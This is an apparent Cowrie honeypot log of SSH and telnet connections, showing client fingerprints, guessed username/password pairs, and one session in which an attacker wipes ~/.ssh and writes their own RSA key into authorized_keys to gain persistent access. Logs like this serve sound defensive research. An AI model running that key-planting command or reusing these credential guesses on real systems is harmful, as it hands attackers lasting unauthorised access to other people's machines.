{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60858,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c5cd70b992c","protocol":"telnet","message":"New connection: 170.64.224.25:60858 (159.203.135.109:23) [session: 9c5cd70b992c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:58.907280Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:00.405475Z","src_ip":"159.65.58.200","session":"d69aafd38546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":13996,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb935cb03323","protocol":"ssh","message":"New connection: 194.59.206.2:13996 (159.203.135.109:22) [session: cb935cb03323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:01.672992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:01.677132Z","src_ip":"194.59.206.2","session":"cb935cb03323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:01.768094Z","src_ip":"194.59.206.2","session":"cb935cb03323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:01.861839Z","src_ip":"194.59.206.2","session":"cb935cb03323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:01.899834Z","src_ip":"8.210.75.243","session":"8a8d19e1ad4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":43414,"dst_ip":"10.17.0.5","dst_port":22,"session":"90e4e699cf80","protocol":"ssh","message":"New connection: 152.67.46.203:43414 (10.17.0.5:22) [session: 90e4e699cf80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:02.299263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:02.304885Z","src_ip":"152.67.46.203","session":"90e4e699cf80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:02.418216Z","src_ip":"152.67.46.203","session":"90e4e699cf80","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steampass","message":"login attempt [steam/steampass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:02.903220Z","src_ip":"152.67.46.203","session":"90e4e699cf80","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:03.163093Z","src_ip":"152.67.46.203","session":"90e4e699cf80","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:03.166079Z","src_ip":"152.67.46.203","session":"90e4e699cf80","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:03.169453Z","src_ip":"152.67.46.203","session":"90e4e699cf80","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:03.395267Z","src_ip":"152.67.46.203","session":"90e4e699cf80","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:03.552762Z","src_ip":"152.67.46.203","session":"90e4e699cf80","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:03.555485Z","src_ip":"152.67.46.203","session":"90e4e699cf80","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:03.674127Z","src_ip":"152.67.46.203","session":"90e4e699cf80","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:03.679721Z","src_ip":"152.67.46.203","session":"90e4e699cf80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":55746,"dst_ip":"10.17.0.5","dst_port":22,"session":"38815109bfd5","protocol":"ssh","message":"New connection: 152.67.46.203:55746 (10.17.0.5:22) [session: 38815109bfd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:03.783874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:03.787505Z","src_ip":"152.67.46.203","session":"38815109bfd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:03.905273Z","src_ip":"152.67.46.203","session":"38815109bfd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:04.398463Z","src_ip":"152.67.46.203","session":"38815109bfd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:05.513427Z","src_ip":"152.67.46.203","session":"38815109bfd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":55750,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bf9e52bd635","protocol":"ssh","message":"New connection: 152.67.46.203:55750 (10.17.0.5:22) [session: 7bf9e52bd635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:05.623051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:05.626460Z","src_ip":"152.67.46.203","session":"7bf9e52bd635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:05.738636Z","src_ip":"152.67.46.203","session":"7bf9e52bd635","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:06.223084Z","src_ip":"152.67.46.203","session":"7bf9e52bd635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:06.338215Z","src_ip":"152.67.46.203","session":"90e4e699cf80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:06.340893Z","src_ip":"152.67.46.203","session":"7bf9e52bd635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":52366,"dst_ip":"159.203.135.109","dst_port":22,"session":"521f85d51d1b","protocol":"ssh","message":"New connection: 185.242.3.195:52366 (159.203.135.109:22) [session: 521f85d51d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:07.952868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:07.956414Z","src_ip":"185.242.3.195","session":"521f85d51d1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:08.045115Z","src_ip":"185.242.3.195","session":"521f85d51d1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"demo","message":"login attempt [ubuntu/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:08.307925Z","src_ip":"185.242.3.195","session":"521f85d51d1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:09.398147Z","src_ip":"185.242.3.195","session":"521f85d51d1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.963557958602905,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:21.870763Z","src_ip":"170.64.224.25","session":"9c5cd70b992c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53268,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1f8e4801056","protocol":"ssh","message":"New connection: 8.210.75.243:53268 (10.17.0.5:22) [session: a1f8e4801056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:23.739180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:23.742787Z","src_ip":"8.210.75.243","session":"a1f8e4801056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":51702,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb21d494ff2d","protocol":"ssh","message":"New connection: 23.88.42.180:51702 (10.17.0.5:22) [session: fb21d494ff2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:25.630287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:25.633819Z","src_ip":"23.88.42.180","session":"fb21d494ff2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:25.728501Z","src_ip":"23.88.42.180","session":"fb21d494ff2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ledgerwallet","password":"ledger123","message":"login attempt [ledgerwallet/ledger123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:26.015319Z","src_ip":"23.88.42.180","session":"fb21d494ff2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:27.112329Z","src_ip":"23.88.42.180","session":"fb21d494ff2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33668,"dst_ip":"159.203.135.109","dst_port":23,"session":"f213e24f0e64","protocol":"telnet","message":"New connection: 170.64.224.25:33668 (159.203.135.109:23) [session: f213e24f0e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:40.126933Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37138,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e5f3894d717","protocol":"ssh","message":"New connection: 8.210.75.243:37138 (10.17.0.5:22) [session: 9e5f3894d717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:47.741174Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":38290,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa2946f3dbe8","protocol":"ssh","message":"New connection: 80.66.85.226:38290 (10.17.0.5:22) [session: aa2946f3dbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:48.771877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:22:48.775760Z","src_ip":"80.66.85.226","session":"aa2946f3dbe8","protocol":"ssh"}
